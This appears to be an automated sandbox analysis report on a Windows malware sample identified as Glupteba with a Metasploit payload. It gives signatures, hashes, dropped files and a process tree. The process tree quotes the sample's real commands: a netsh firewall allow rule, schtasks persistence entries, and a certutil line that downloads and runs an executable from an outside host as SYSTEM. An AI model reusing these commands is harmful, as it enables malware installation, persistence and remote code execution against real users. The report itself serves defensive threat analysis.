Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 14:40

General

  • Target
    63938c2016661a3e1a4ada7867471fc5_JaffaCakes118.exe
  • Size 3.8MB
  • Sample240722-r2bqvssfkc
  • SHA256 8f47721cf4ff1da1a90b5b2e8e8904ce2a37a291b00f0d7e92c57815c11a8e35
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\63938c2016661a3e1a4ada7867471fc5_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\63938c2016661a3e1a4ada7867471fc5_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1956
    • C:\Users\Admin\AppData\Local\Temp\63938c2016661a3e1a4ada7867471fc5_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\63938c2016661a3e1a4ada7867471fc5_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4284
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2124
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1952
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1200
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2136
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:404

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        patch.exe

        • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        • Size 1.7MB
        • SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path C:\Windows\rss\csrss.exe
        • Size 3.8MB
        • SHA256 8f47721cf4ff1da1a90b5b2e8e8904ce2a37a291b00f0d7e92c57815c11a8e35
        • MD5 SHA1 SHA512 SSDEEP

        memory/1956-2-0x0000000001750000-0x0000000001F54000-memory.dmp

        memory/1956-3-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/1956-5-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/1956-6-0x0000000001750000-0x0000000001F54000-memory.dmp

        memory/1956-1-0x00000000013A0000-0x000000000174F000-memory.dmp

        memory/2616-28-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-26-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-34-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-33-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-21-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-22-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-23-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-24-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-25-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-32-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-27-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-31-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-29-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/2616-30-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/4284-8-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/4284-10-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/4284-9-0x0000000000400000-0x0000000000C1E000-memory.dmp

        memory/4284-16-0x0000000000400000-0x0000000000C1E000-memory.dmp